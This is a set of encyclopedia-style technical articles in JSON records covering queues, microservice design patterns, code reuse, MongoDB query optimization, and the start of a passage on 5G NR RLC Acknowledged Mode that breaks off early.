{"text":"# Queue (Data Structure)\n\n## Summary\n\n\nQueue is an Abstract Data Type (ADT) based on the First-In-First-Out principle where an element inserted first is accessed/deleted/processed first. A queue has two ends called front and rear. Insertion of an element happens at the rear end. Deletion of an element happens at the front end. \n\nA queue can be linear or circular, bounded or unbounded. Implementations can be from arrays or linked lists. Deque and priority queue are special queue types not based on the FIFO principle and serve their own purpose.\n\nPeople standing in a queue (line) to buy a train ticket at a counter is an example of a real-life queue. The first person in the line is served first and exits the queue. A new person who wants to buy a ticket joins the end of the queue.\n\n## Discussion\n\n### What are the common operations on a queue data structure?\n\nInserting an element to a queue is called **enqueue** operation. Element is added at the queue's rear end. For an unbounded queue, there's no limit to the queue length. Memory is dynamically allocated when required. An **overflow** condition occurs when one attempts to enqueue into a full bounded queue or when system memory is exhausted.  \n\nDeleting an element from a queue is called **dequeue** operation. Often implementations will support **peek** operation to inspect the element at the front of the queue. Whereas dequeue removes the element, peek doesn't.  An **underflow** condition occurs when one attempts to dequeue from an empty queue. \n\nImplementations may include interfaces to check if queue is full or empty. Implementations may allow us to inspect queue capacity (maximum limit) and queue size (number of elements currently in the queue).  \n\nQueue implementations maintain front and rear variables or pointers that are essential to most operations. \n\n\n### How can queues be implemented?\n\nQueue is an abstract data type. ADT defines the data and the operations that can be performed on that data while hiding the implementation complexities. So, a queue is implemented using concrete data types such as an array or a linked list.\n\nFor an **array** implementation of queues, we maintain two variables front and rear. After successful insertions, front points to the first element of the array and rear points to the last. In the case of static arrays, once rear reaches the maximum size, overflow occurs. We can solve this problem using dynamic arrays that are resized according to requirement. \n\nFor an **linked list** implementation of queues, each node of the linked list contains data and a pointer to the next node. Nodes need not be stored sequentially in memory. Initially when the queue is empty, front and rear point to NULL. After successful insertions, front points to the first node and rear points to the last node. There's no overflow unless the system memory gets exhausted. \n\n\n### Could you explain the circular queue?\n\nConsider a case in which elements 1-8 are enqueued. The front points to 1 and rear points to 8. Let's dequeue 1 and 2. In the case of a linear queue, the first two memory locations become unavailable. One way to solve this is to shift the remaining elements forward so that last two memory locations become available for enqueuing. But shifting elements this way impacts runtime performance. Without shifting, the first two memory locations becomes unavailable. This is impractical when queues are based on static arrays. \n\nA better option is to use a circular queue. In a **circular queue**, the first element location follows the last location in a circular structure. It was introduced to efficiently utilize the space that was wasted by a linear queue (without shifting). It can be implemented using a circular array, singly linked list, and doubly linked list.\n\nBoth linear and circular queues support the same operations but implementations differ.\n\n\n### What's a deque?\n\nWith FIFO queues, there's no quick way to dequeue from the back of the queue. Deque is a **double-ended queue** that solves this problem. It doesn't follow the FIFO principle. It's a very flexible data structure that allows enqueue and dequeue operations from both front and rear ends. \n\nOperations supported by deque include front enqueue, front dequeue, rear enqueue, and rear dequeue. However, deques could be restricted to implement other data structures. For instance, if only rear enqueue and front dequeue are allowed, we get a queue. If only front enqueue and front dequeue are allowed, we get a stack. In general, there are two types of deques: \n\n    + Input-restricted deque that allows insertion at one end and deletion from both the ends.\n    + Output-restricted deque that allows insertion at both the ends and deletion from one end.A deque is implemented using a circular array or a doubly-linked list. Deque finds application in the work-stealing algorithm for multiprocess scheduling. Each processor has a deque of tasks. Self-tasks are front dequeued but when a processor becomes free it rear dequeues from another processor's deque. \n\n\n### What's a priority queue?\n\nA normal queue works on the FIFO principle, but there are some cases in which the elements need to be processed based on priority. For example, when multiple processes or programs are ready to execute, the highest priority one will be scheduled first.\n\nA **priority queue** enqueues elements along with an associated priority value. When dequeuing, the element with the highest priority is processed first. In a max-priority queue, largest value implies highest priority. In a min-priority queue, smallest value implies highest priority. \n\nPriority queues can be implemented with an array, linked list or tree but retrieval of the highest priority element is expensive. Instead, the heap data structure is used to implement a priority queue. **Max-heap** is a binary tree with a special property that the value of each node is greater than or equal to its children. This is used to implement the max-priority queue. Likewise, min-heap implements the min-priority queue.\n\nA node is enqueued or dequeued keeping in mind that the heap does not violate any of its property.\n\n\n### What's the time and space complexity of operations on queues?\n\nSince all elements need to be stored, the worst-case space complexity for a queue is O(n).\n\nEnqueuing has O(1) average time complexity since only an element is inserted and the rear pointer is updated. With dynamic arrays, occasionally the operation will take longer if resizing is required. Peeking has O(1) worst-case time complexity. Dequeuing has O(1) worst-case time complexity. Dequeuing from a static array where elements are shifted to the front has O(n) worst-case time complexity. \n\nWith circular queues, enqueuing and dequeuing have worst-case time complexity of O(1). Queue capacity is fixed and no resizing happens.\n\nWith deques, enqueuing and dequeuing from either end have worst-case time complexity of O(1). Where supported, enqueuing and dequeuing from the middle is at O(n). Peeking at either end is at O(1). \n\nWith priority queues implemented as binary heaps, enqueuing and dequeuing have worst-case time complexity of O(log n) since elements have to be moved around to conform to binary heap properties. Peeking is at O(1).\n\n\n### What are some real-world applications of queues?\n\n**Linear queues** are used to handle hardware and real-time system interrupts. First-Come-First-Serve and Round Robin process scheduling algorithms use linear queues extensively. The uniprocessor computer uses a linear queue to store the different applications to be processed in a queue.\n\n**Circular queues** are used to loop over the list of processes in execution by an operating system until they exit the system. They are treated as buffers for maintaining a playlist in music players and listening to songs on loop. \n\nIn computer networking, routers and switches use **priority queues** to process packets. Operating system use priority queues for disk scheduling, memory management, semaphores, I/O buffers, and file access requests. Requests to shared resources like printers are managed using linear queues and priority queues if priorities are defined. Well-known algorithms such as Prim's, Dijkstra, and heap sort use priority queues. \n\nMessaging systems use queues. Producers write to message queues. One or more consumers read from those queues. Apache Kafka, Amazon Simple Queue Service (SQS), and RabbitMQ are some examples.  \n\n\n### What are some variants of queue?\n\nSome applications don't consider overflow and underflow conditions as errors. Instead, they wish to wait for an available space when enqueuing into a full queue or wait for new data when dequeuing from an empty queue. This is exactly what the **blocking queue** provides. Implementations may support no waits, indefinite waits or waits with timeouts. It's used to synchronize producers and consumers that interact via the queue asynchronously.  \n\nA special case of a blocking queue is the **synchronous queue**. Enqueuing and dequeuing are synchronized. An element can be inserted only if a consumer is waiting to dequeue it. Thus, a synchronous queue has no storage capacity. \n\nAnother type of blocking queue is the **transfer queue** in which producers may wait for consumers to dequeue an element. This is useful in message passing applications. \n\nSometimes we don't want to overwhelm consumers with too many messages. **Delay queue** is another blocking queue that delays dequeuing operations. Only after the delay time expires, dequeuing can happen. \n\n## Milestones\n\n1960\n\nFCFS and Round Robin scheduling algorithms use **queues** for process scheduling in operating systems. \n\n1964\n\nWilliams introduces binary heap that forms the basis of **priority queues**. It supports insertion of an element and extraction of the element with minimum value. \n\n1978\n\nVuillemin presents a type of priority queue that he calls **binomial queue**. It supports primitive operations such as union, update and search. \n\n1995\n\n**C++ Standard Template Library (STL)** is released with support for three sequence containers: `vector`, `list` and `deque`. STL's `stack`, `queue` and `priority_queue` provide restricted interfaces to these containers. In particular, `list` and `deque` can be used for queues; `vector` and `deque` for priority queues. For example, `queue<deque<int> >` is a queue of integers using `deque` container. The library provides heap-related functions that are used in the implementation of priority queues. \n\n2004\n\nJ2SE 5.0 (aka internal version 1.5) is released. New collection interfaces `Queue` and `BlockingQueue` are introduced. Many concrete queue implementations are included. Priority queues are implemented using heaps. Blocking queues, delay queues and synchronous queues are introduced. . In 2006, J2SE 6.0 adds new collection interfaces `Deque` and `BlockingDeque` along with concrete implementations `ArrayDeque` and `LinkedBlockingDeque`. In 2011, J2SE 7.0 adds the interface `TransferQueue` along with the implementation `LinkedTransferQueue`.","meta":{"title":"Queue (Data Structure)","href":"queue-data-structure"}}
{"text":"# Design Patterns for Microservices and Containers\n\n## Summary\n\n\nFor common software design problems, design patterns provide reusable solutions. Rather than design a solution from scratch, it's faster and easier to understand the context and see what design patterns can be reused for your application. \n\nFor a cloud application that uses containers and microservices, there are patterns to do the same. Called either *Design Patterns for Microservices* or *Container Design Patterns*, we use these terms interchangeably in this article.\n\nLet's note that this article is not about container data structures or components. In programming, containers are data structures such as sets and queues that contain other data members. Such containers have design patterns too.\n\n## Discussion\n\n### What's the motivation for adopting design patterns for microservices?\n\nSometimes there's a need to scale your monolithic application, to release updates faster or to manage large teams of diverse skills. One approach is to re-architect your application into a bunch of microservices that get deployed on the cloud as containers. This refactoring can be a long process for a complex product. It can also be daunting for folks new to the microservices architecture.\n\nThis is where design patterns can help. These patterns have evolved from best practices that engineers used when managing microservices and containers. When solutions to problems are known, they can be applied to similar problems in the future. Patterns formalize this concept of reusable solutions. \n\nPatterns help you to build your apps faster and make them more reliable. Moreover, you may able to use libraries or tools–Amalgam8, Hystrix, Eureka, Zuul –that have already implemented some of these patterns.\n\n\n### What are the elements of a good container design pattern?\n\nA design pattern must be clearly described with concrete examples and best practices. Without a clear understanding, others will not be able to apply or even know if it suits their application needs. The pattern must be agnostic of container runtimes or cloud infrastructure. \n\nFor any pattern to be practical, it's necessary that the containers themselves are properly designed. Container design principles can be applied in two different contexts:  \n\n    + **Build time**: single concern, self-containment, image immutability\n    + **Runtime**: high observability, lifecycle conformance, process disposability, runtime confinementFrom the perspective of delivering software-as-a-service, similar principles have been noted in Heroku's The Twelve-Factor App. \n\n\n### What are the common design patterns for microservices?\n\nThere are dozens of design patterns for microservices that can be grouped by categories such as decomposition, observability, testing, UI, communication, database, security, deployment, and so on. Google engineers identified the following in their work with Kubernetes: \n\n    + **Single container management**: graceful termination, probing, config maps\n    + **Single node multi container**: sidecar, ambassador, adapter\n    + **Multi node**: leader election, work queue, scatter/gatherMicrosoft has published a number of design patterns including ambassador, backends for frontends, CQRS, event sourcing, gatekeeper, gateway aggregation, sidecar, strangler, throttling, etc. Other patterns to note are model, denormalizer, ingestor, service registry, edge controller, API gateway, circuit breaker, fallback, command, bounded context and failure as a use case. \n\n\n### Since there are so many patterns, which ones are important or essential to know?\n\nIt's hard to claim that one pattern is more important than another. It all depends on the context and the needs of a particular application. However, we can highlight the following patterns:\n\n    + **API Gateway**: Clients call your application via command-line tools or GUI. Rather than call each service of your app separately, all calls will go via the gateway.\n    + **Service Registry**: Since microservices are created and destroyed dynamically based on load, this pattern helps in connecting clients to available instances of microservices. Microservices register with the service registry.\n    + **Circuit Breaker**: When a service is down, this failure could cascade to other services dependent on it. To prevent escalation, if failures exceed a certain threshold, services will not repeatedly call a failed service until recovery happens.\n    + **Fallback**: Also called *Chain of Responsibility* pattern, if a service is unable to complete because of a dependency, a fallback method is called. By combining fallback pattern with circuit breaker pattern, more resilient apps can be built.\n\n### Could you explain patterns for running two containers on a single node?\n\nLet's look at three patterns that each involve two closely associated containers. It makes sense to pair containers within the same node (or same Kubernetes pod) if they have the same lifecycle. One of them is the main container while the other can be seen as a helper. We explain them as follows: \n\n    + **Sidecar**: To provide an auxiliary service to the main container, such as for logging, synchronizing services, or monitoring.\n    + **Adapter**: To standardize or normalize the output/input/interface between the main container and the external world, such as reformatting logs or invoking libraries that don't have expected language bindings.\n    + **Ambassador**: To connect the main container to the outside world, such as for proxying localhost connections to outside connections. For example, main container will always see a localhost database with the ambassador resolving this to the actual database outside.\n\n### Are there patterns to manage data in a microservices architecture?\n\nFor easiest migration from a monolithic app, all services could share the same database. For better isolation and modularity, we can adopt private-tables-per-service and schema-per-service, perhaps on the same database server. For high throughput requirements, each service could have its own database server. \n\nOne challenge with microservices is to ensure data consistency across all services. An important principle is to have a single authoritative source of truth: all others are read-only and non-authoritative. Services can synchronously query for data or asynchronously update it via events when that data changes. Whether to use synchronous API or asynchronous messaging depends on your application since both have their trade-offs. \n\nAn event-driven architecture using publish-subscribe model aids asynchronous updates. Store only what a service needs. If services are constantly exchanging data, you might want to rethink service boundaries. \n\nA transaction that involves multiple services is not easy to implement. Some patterns are available: Saga Pattern, API Composition, Command Query Responsibility Segregation (CQRS), Scheduler Agent Supervisor, and Compensating Transaction. \n\n## Milestones\n\n2003\n\nTo allow trace propagation through multiple microservices, the **Correlation ID** pattern is identified by Gregor Hohpe in his book *Enterprise Integration Patterns*.  It's important to note that the pattern is identified in a different context and only later applied to microservices.\n\n2004\n\nInfluenced by fig trees, Martin Fowler documents the **Strangler** pattern. This is useful when migrating a monolithic app to a microservices architecture. Rather than have cut-over date to move from old to new, this pattern enables a gradual transition. \n\n2007\n\nIn his book *Release It!*, Michael Nygard introduces the **Circuit Breaker** pattern. With this pattern, a service \"fails fast\" by not calling another service that it knows is already down. Netflix's Hystrix framework implements this pattern. \n\n2011\n\nThe term **microservices** is first used at a workshop in Venice. By 2012, ideas and case studies are presented. Adrian Cockcroft of Netflix sees this as \"fine-grained SOA\". \n\n2013\n\nAlthough the history of containers can be traced to UNIX of late 1970s, **Docker** as a container is released in 2013. Developers begin to see containers as a natural fit for microservices. \n\n2016\n\nBrendan Burns and David Oppenheimer present a bunch of patterns for container-based apps at the HotCloud 2016 conference. This paper may be considered foundational and credited with putting the spotlight on container patterns.","meta":{"title":"Design Patterns for Microservices and Containers","href":"design-patterns-for-microservices-and-containers"}}
{"text":"# Code Reuse\n\n## Summary\n\n\nWhen new projects are started in an organization, it makes sense to identify parts specific to the application and other parts that can be reused from earlier projects. Code reuse is a practice that reduces development time and effort since we're reusing existing code rather than writing from scratch. \n\nCode reuse is not limited to within an organization. Languages often ship with built-in functions and standard libraries. Third-party libraries add functionalities to these. When developers write applications, they make use of these libraries. \n\nThere are two approaches to code reuse: design and implement code with the expectation of future reuse; identify and refactor when we see opportunities for immediate reuse. The industry is divided over which of these two approaches is the better one. Some experienced developers have shared useful tips about how best to adopt each approach.\n\n## Discussion\n\n### Could you explain code reuse with an example?\n\nSuppose we're building an accounting application. Obviously it has a lot of business logic related to the domain of accounting. But it also does user authentication, interfaces to a database and logs errors: these are features that are not specific to accounting. In fact, other applications (such as shopping cart or content management) may have similar requirements. \n\nIt therefore makes sense to build these components once and reuse them across applications. Thus, we could have a shared library that connects to a database. This library is then reused across applications that need such a connection. Likewise, separate libraries can be created for authentication or logging, and reused across applications. \n\nBy reusing code this way developers can focus on the core business logic of their apps instead of \"reinventing the wheel\". If reusable code is well tested, it improves overall product quality. \n\n\n### What are some types of software reuse?\n\nReuse can be vertical (within an application domain) or horizontal (across application domains). Reuse is not just about code. We can reuse other software artefacts including requirements, architecture, design models, test reports, etc. \n\nAn application can be decomposed into components, each fulfilling a specific purpose. A **component** hides its complexity behind an interface. Reuse happens via such an interface. Such components could be views, models, controllers, data access objects, or plugins. \n\nWhen a component is deployed independently, it's called a **service**. Other applications or services can call it. Thus, reuse happens at the service level. \n\nWhen components are shared across multiple applications and systems, they can be packaged and distributed as **APIs** or **libraries**. Platforms and frameworks extend this philosophy by bringing together many useful APIs or libraries. \n\nAnother form of reuse is at the level of source code. Code is **forked** or copied and then adapted to new requirements. A coarser form of this is **cut-and-paste programming**. This is also code reuse but it's not favoured because duplicating code this way makes it less maintainable. \n\n\n### Isn't code reuse a myth?\n\nDuring the late 1980s, ad hoc or unplanned reuse was not favoured. It was thought that \"reuse should be considered at design time, not after the implementation has been completed\". Software architects cared about interface design, low coupling and high cohesion. \n\nBy the late 1990s, it was realized the code reuse is hard and needs practice. It's more of an art than a science. It combines both technical and non-technical challenges. Reusing software across business units in a large organization needs coordination. It's also not clear which cost centre will fund it. Developers also don't like management forcing them to use components and frameworks developed by another team. \n\nStriving for a high degree of reuse can lead to complex dependencies and high coupling, not to mention the higher development cost. Changes to shared libraries take longer. Complex abstractions reduce code readability. Developers therefore start implementing their own code rather than reuse code they don't understand.  Sometimes, \"reusable code\" is too application or domain specific to be reused. It's been said that, \n\n> There is no such thing as reusable code, only code that is reused.\n\n\n### Could you share some tips towards writing reusable code?\n\nApply the Don't Repeat Yourself (DRY) principle. If you find yourself repeating the same code, it's time to extract that code into a separate function or class method.  \n\nThink about unit testing your code. Code that's easier to unit test implies less coupling, higher modularity and better reuse. \n\nEncapsulation reduces external dependencies and makes code more self-contained. When writing code, imagine you're creating tools for others to reuse. \n\nChances of reuse are better if a class or method does only one thing. You'll end up with more classes or methods but there's less coupling in your codebase. Better still, use interfaces and abstract classes. These can be easily extended in future. Don't include business logic as they lead to higher coupling and less reuse. \n\nIf you're struggling to name your class or method, it's an indication that the abstraction is probably wrong. If the abstraction requires many inputs, it's likely to introduce high coupling. \n\nIn conclusion, if you write modular, loosely coupled, maintainable and unit testable code, that code is also likely to be reusable.  \n\n\n### What should I avoid when attempting to write or use reusable code?\n\nDon't develop applications from a framework perspective. Application development should not start focusing on building a framework of reusable components. Framework development should be a separate activity. Otherwise, too much of what goes into the framework will become application specific and never reused. Don't try to reuse code from another application or context. It may require far more effort than coding it afresh. \n\nDon't let reuse become your primary goal at the expense solving real problems. You'll end up with unnecessary interfaces, confusing abstractions and heavily partitioned codebases. Such code will not get reused. \n\nDon't try to solve generic problems and create your own reusable libraries. Most likely, there are already frameworks and libraries that solve them for you. \n\nDon't force developers to use reusable frameworks. Frameworks should speak for themselves in terms of clean interfaces, readability, usability, reliability, performance and security. They should act as \"reuse magnets\" for developers. \n\nDon't reuse something old and outdated. Take benefit from newer languages, technologies and frameworks. For example, where possible, code in Swift instead of trying to reusing old Objective-C code. \n\n\n### Is code reuse a good thing from a security standpoint?\n\nWithin enterprises, code reuse promotes higher security if code is well tested. If not, it becomes a single point of failure, making many applications vulnerable. \n\nWhen reusing code from external sources, document the software supply chain. Reuse frameworks and libraries only from trusted sources. Install updates and patches at the earliest. This is critical if a vulnerability in an open source codebase becomes public. \n\nUse Software Composition Analysis (SCA) tools. These can identify vulnerabilities in third-party source code and libraries. Examples include Black Duck, Sonatype and OWASP Dependency-Check. Use them together with other security testing tools. \n\nA checklist can also be useful when selecting software for reuse. Such a checklist would assess feature capabilities, limitations and interfaces. Apart from security considerations, such an assessment would consider initializations, memory usage, throughput, accuracy, synchronization, re-entrancy, etc.\n\n\n### What support do languages offer towards code reuse?\n\nGenerics in Ada and classes in object-oriented languages promote code reuse. However, these features alone don't guarantee code reuse. Proper domain analysis, modularity, abstractions and parameterization are important to get reuse right. \n\nIn C++, functions, macros, encapsulation, composition, parameterized types, overloading and polymorphism are seen as useful techniques for code reuse. \n\nIn OOP, complex class hierarchies and huge classes with lots of methods and arguments can make reuse difficult to achieve. In functional programming, the approach is to reuse tiny bits of code. Lambda functions enable this. We can implement complex behaviour by composing code from many tiny parts. \n\nIn JavaScript, use immutables and functional programming for higher reuse. For example, prefer `map/reduce/filter` over `forEach/push/splice`. Pure functions and Higher-Order Functions (HUFs) are useful constructs. They enable reuse across JavaScript frameworks. \n\n## Milestones\n\n1949\n\nWhile working on the stored-program computer EDSAC, researchers at the University of Cambridge propose the creation and use of a **subroutine library**. This is probably one of the earliest instances of code reuse. \n\nOct  \n1968\n\nAt the NATO Software Engineering Conference, McIlroy proposes a **components factory** dedicated to producing parameterized families of components arranged by precision, robustness, generality and time-space performance. Rather than reuse entire compilers, it's easier to start with numerical approximation routines, I/O conversions, 2D-3D geometries, storage management and text processing. As time will tell, only the Japanese pay attention to his suggestions. \n\n1990\n\nHewlett-Packard creates a corporate software reuse program. This brings together many divisional programs that have been active since the early 1980s. About the same time (early 1990s), many other companies have similar reuse programs: AT&T, IBM, GTE, NEC, Toshiba, etc. HP engineers learn that a large software library doesn't necessarily lead to higher reuse. The library may have many useful low-level, generic parts but created without consideration of quality, documentation, testing or interoperability. They also note that effective software reuse will require changes to processes. The returns will also come only in the long term. \n\nFeb  \n1992\n\nKrueger notes that though software reuse has been discussed since the late 1960s, it's not yet a standard industry practice. He also looks at reuse from four perspectives: (a) **abstraction**: essential for reuse; (b) **selection**: identify and select what to reuse, classify and organize reusable code; (c) **specialization**: reuse a generalized artefact but specialize it during reuse via parameters, transformations or constraints; (d) **integration**: ways to export and import reusable code. \n\n1995\n\nGamma et al. publish the book titled *Design Patterns: Elements Of Reusable Object-Oriented Software*. This marks a shift from reusing just code to **reusing design**. These patterns describe proven solutions to common problems. \n\n2004\n\n**Reuse in Software Engineering (RiSE)** project is initiated to provide a framework for effective code reuse. RiSE includes a number of best practices, describes the reuse process and addresses both technical and non-technical aspects. \n\n2008\n\nHaefliger et al. investigate code reuse in six open source software projects. They find that developers reuse code to reduce costs, integrate functionality quickly, and overcome resource constraints. Developers select components based on their popularity.","meta":{"title":"Code Reuse","href":"code-reuse"}}
{"text":"# MongoDB Query Optimization\n\n## Summary\n\n\nMongoDB query performance depends on indexes defined on a collection and how those indexes are employed within the query. MongoDB offers different types of indexes. Precisely what indexes to define and how to use them depends very much on the application. This article introduces indexes and shares some guidelines on their usage. \n\nMongoDB also provides an inspection system to obtain statistics on query execution and what happens under the hood. This information helps a developer figure out ways to optimize the query.\n\n## Discussion\n\n### How can I get insights into MongoDB query performance?\n\nOn the MongoDB shell, methods `cursor.explain(\"executionStats\")` and `db.collection.explain(\"executionStats\")` give insights into the performance of a query. For example, we append `explain()` to a query thus, `db.inventory.find( { quantity: { $gte: 100, $lte: 200 } } ).explain(\"executionStats\")`. MongoDB Compass also has Explain Plan tab to display the same statistics graphically. \n\nExplainable classes can be obtained by running `db.collection.explain().help()`. The explain method can be called with verbosity modes queryPlanner (default), executionStats, or allPlansExecution. In all modes, for write operations, we get information about the write without executing the write. \n\nThe query plan is presented in the explain results as a tree of stages. These stages can be COLLSCAN (collection scan), IXSCAN (index scan), FETCH (retrieving documents), SHARD\\_MERGE and SHARDING\\_FILTER. Explain can be run on either unsharded or sharded collections. \n\n\n### How do I interpret the results of the explain methods?\n\nAmong the important explain results are: \n\n    + `executionStats.nReturned`: Number of documents returned.\n    + `executionStats.executionTimeMillis`: Total time in milliseconds for query plan selection and execution.\n    + `executionStats.totalKeysExamined`: Number of index entries scanned.\n    + `executionStats.totalDocsExamined`: Number of documents examined, by COLLSCAN and FETCH stages.\n    + `executionStats.executionStages`: Details of execution of the winning plan as a tree of stages. Where indexes are used (IXSCAN), result includes index key pattern, direction of traversal, and index bounds.As an example, if `totalKeysExamined` is zero, it implies that indexes are not used. If `totalDocsExamined` is much higher than `nReturned`, this means that too many documents were scanned when only a few were returned. Both these suggest better performance can be obtained with the use of indexes. Making these changes would give an efficient winning plan with root stage FETCH and an input stage IXSCAN. \n\n\n### How can indexes improve query performance?\n\nIndexes improve performance by limiting the number of documents that need to be scanned. Indexes are usually in RAM or located sequentially on disk. Though indexes take up space, this becomes a worthwhile trade-off if queries use them often. Indeed, designing the right indexes requires a deep understanding of the application's queries and how often they're called. \n\nFor example, if an `inventory` collection is queried on field `type`, create an index on that field: `db.inventory.createIndex({ type: 1 })`. This is an example of a covered query. A **covered query** is one that can be satisfied by indexes alone without needing to examine the documents. More specifically, all fields in the query are part of an index, all returned fields are in the same index, and no fields in the query are equal to null. \n\nTwo limitations are worth noting. Geospatial indexes cannot cover a query. Multikey indexes cannot cover queries over array fields. \n\nUsage of indexes can be obtained via the `$indexStats` aggregation stage or in the outputs of `serverStatus`, `collStats` and `dbStats`. \n\n\n### What are the different types of indexes available in MongoDB?\n\nMongoDB supports the following index types: \n\n    + **Single-Field Index**: Based on a single field of a document, such as, `{score: 1}`.\n    + **Compound Index**: Based on multiple fields, such as, `{userid: 1, score: -1}`, with 1 and -1 referring to ascending and descending sort order. The starting keys (`userid`) are called *index prefix keys*.\n    + **Multikey Index**: Indexes the content stored in arrays. When you index an array field, MongoDB creates a separate index for every array element. Index `{\"addr.zip\": 1}` is an example of indexing a nested field.\n    + **Geospatial Index**: Supports efficient querying of geospatial coordinate data, either 2D or 3D geometry.\n    + **Text Index**: For searching text data. MongoDB does stemming and ignores stop words.\n    + **Hashed Index**: Indexing hash of a field value leading to more even data distribution across shards. Supports equality matches but not range-based queries.Indexes have useful properties: unique, partial indexing, sparse (don't index documents without the index field), TTL (documents that expire), hidden (not seen by query planner). Unique index on `_id` is created by default. \n\n\n### How should I use indexes to improve performance?\n\nSometimes matching on multiple fields may be inefficient. Instead, use **compound indexes**. \n\nWhen a query doesn't use index prefix keys or uses a different sort order, compound indexes won't work. Instead use index intersection. **Index intersection** is when MongoDB uses two separate indexes or their prefixes to improve query performance. However, index intersection doesn't apply when the sorting uses an index completely separate from the query predicate. \n\nIn addition to using indexes for matching, use **indexes for sorting and lookups** as well. \n\nWhile the query optimizer often selects the optimal index, we can also use the `hint()` method to force the use of a specific index. \n\nWorkload performance can suffer during index builds. For this reason, **rolling index builds** are preferred. Starting from secondary members, rolling builds affect one replica set member at a time. Deleting many documents in a short time may also affect reading performance due to index rebuilds. Use rolling builds or mark document for deletion and delete them later with a background scheduler. \n\n\n### How can I improve the performance of my aggregation pipeline?\n\nMongoDB's database engine can optimize performance of an aggregation pipeline at runtime. It can **reorder the stages** if it sees that this will improve performance. For example, sorting an entire collection and then matching is inefficient. It's more efficient to match first and then sort so that fewer documents need to be sorted. Matching itself is run in parallel on multiple shards. \n\nSometimes, the engine needs help from the developer to optimize performance. Assume a pipeline contains a stage that matches on a computed field that's not indexed. The engine can't optimize by moving the matching stage before the computation. Computation is done on the entire collection. An easy solution is to rewrite the matching stage to use an already existing and indexed field. Even if computation happens earlier, the engine can move the matching to precede the computation. \n\n\n### What are query plans in MongoDB?\n\nFor any given query, actual query execution can have a few possible ways. Each of these is called a **query plan**. Based on indexes, the MongoDB query optimizer chooses the most efficient query plan. For each candidate plan, the optimizer looks at the number of work units that need to be performed. More indexes imply more plans to inspect and query selection can take more time. \n\nIf a plan is selected, it's also added to the **plan cache**, which contains the query shape, works cost and a state. A query shape consists of a combination of query, sort, and projection specifications. Cache state can be Missing, Inactive or Active. Query plans for subsequent queries of the same shape are read from the cache if active and cost meets the selection criterion. The optimizer considers only those indexes specified in the filter of a given query shape. \n\nIf `mongod` restarts or shuts down, cache doesn't persist. Index or collection drops clear the cache. Cache can also be cleared manually. If cache is lower than 0.5GB for all collections, complete debug information is stored. Otherwise, additional cache entries are stored with minimal information. \n\n\n### Could you share some tips towards optimizing MongoDB queries?\n\nUse a highly **selective query**, that is, a query that matches a small percentage of the collection's documents. Less selective queries can't use indexes effectively. For example, `$nin` or `$ne` operators are not very selective. Given an employees collection, the query `{name: \"John\", sex: \"male\"}` with indexed name is likely to be more selective than the query `{sex: \"male\", name: \"John\"}` with indexed sex. \n\nUse **projection** to obtain only those fields required for further processing. \n\nTo avoid application-level joins, **denormalize data**. For example, instead of having two collections Employees and Companies, and then linking them, the latter can be included as part of employee documents. If this is not possible, use `$lookup` instead. \n\n**Third-party services** such as Rockset does real-time indexing to enable fast joins. Idealo's MongoDB profiler tool can also be useful. \n\nBy default `db.collection.update()` updates a single document. Use `multi: true` to update all matching documents efficiently. \n\n\n### Apart from query optimization, how do I tune the performance of MongoDB?\n\nAnalyze lock metrics. Long lock times might suggest problems with schema design, query structure, or system architecture. Look at WiredTiger's cache usage and see if it needs to be increased. For read-heavy applications, increase the size of replica sets. For write-heavy applications, do sharding. Monitor replication state and lag. \n\nIn the cloud, MongoDB provides a monitoring tool that gives many useful metrics: execution times, disk utilization, memory usage, network I/O, op-counters, query targeting, queues, and CPU usage. Database operations can also be logged for later analysis. \n\nWhen doing high-speed writes, enable journaling. In case of a system crash during a write, journaling ensures that data is in a consistent state. \n\nTry to keep documents to a few kilobytes. Avoid large array fields. A large and growing array may cause the document to be relocated on disk, leading to index updates. Alternatively, large fields when not used in queries, could be compressed and stored. \n\nBatching improves resource utilization. For example, Kafka events can be consumed in a batch of 100 rather than processed one by one. \n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 1.0** is released. By August, this version becomes generally available for production environments. \n\nMar  \n2015\n\nMongoDB 3.0 is released. This includes a new **query introspection system** towards query planning and execution. The formatting and fields of explain results are improved. Starting in this version, with the exception of `_id` index, an index can't cover a query on a sharded collection if the index doesn't contain the shard key. \n\nNov  \n2017\n\nMongoDB 3.6 is released. An index can cover a query on fields within embedded documents. Multikey indexes can cover queries over non-array keys if the index tracks which fields make it multikey. \n\nAug  \n2019\n\nMongoDB 4.2 is released. Plan cache entry is associated with a **state**: Missing, Inactive or Active. Aggregation stage `$planCacheStats` is available to view cache information. To help identify slow queries, query plans also now have associated hash strings `queryHash` and `planCacheKey`. The former is dependent on only the query shape while the latter depends on query shape and indexes. An aggregation pipeline with `$out` stage can't contain `db.collection.explain()` in executionStats or allPlansExecution modes. \n\nJul  \n2021\n\nMongoDB 5.0 is released. This puts a size limit of 0.5GB for the plan cache, which is also backported to updates of some earlier versions.","meta":{"title":"MongoDB Query Optimization","href":"mongodb-query-optimization"}}
{"text":"# 5G NR RLC Acknowledged Mode\n\n## Summary\n\n\nIn 5G NR, an RLC AM entity is bidirectional. The transmitting side of an entity communicates with its peer entity's receiving side. The transmitting side sends data PDUs while the receiving side acknowledges the transmission via control PDUs. \n\nAn AM Data (AMD) PDU always includes an RLC header, which in turn contains the Sequence Number (SN) of the RLC SDU. SDUs may be segmented. SN and Segment Offset (SO) are essential header fields that help with acknowledgements and retransmissions. STATUS PDU is the only type of control PDU and it too has a header. \n\nBehaviour is controlled by state variables, constants and timers. Compared to the other two RLC transmission modes (TM and UM), AM is more complex.\n\n## Discussion\n\n### How does an AM RLC entity operate?\n\n**The transmitting side** receives RLC SDU from upper layer. It assigns the next available SN to this SDU. It sends an RLC header plus RLC SDU to MAC. If the entire SDU can't be sent in a single transmission, it's segmented. Header plus the largest possible segment are given to MAC. \n\n**The receiving side** acknowledges via ACK\\_SN (good SDUs) and NACK\\_SN (lost SDUs or segments). If all segments of an SDU are correctly received, it forwards the RLC SDU to upper layer. Order of delivery is not important for RLC. \n\nTransmitting side **retransmits** SDUs or segments previously lost. While retransmitting, it may re-segment lost portions of the SDU. RLC is permitted a maximum number of retransmissions, after which the error is indicated to upper layer.   \n\nFor **flow control**, both sides obey the window size, which depends on the SN bit length: 2048 (12-bit SN) or 131072 (18-bit SN). \n\nVia **polling**, transmitting side can request its peer to send current status. Receiving side has a timer to regular status transmissions. Likewise, transmitting side has a timer to regulate polling. \n\n\n### Could you explain the state variables used by an AM RLC entity at the transmitting side?\n\nThe following state variables exist at the transmitting side of AM RLC: \n\n    + **TX\\_Next**: Send state variable. 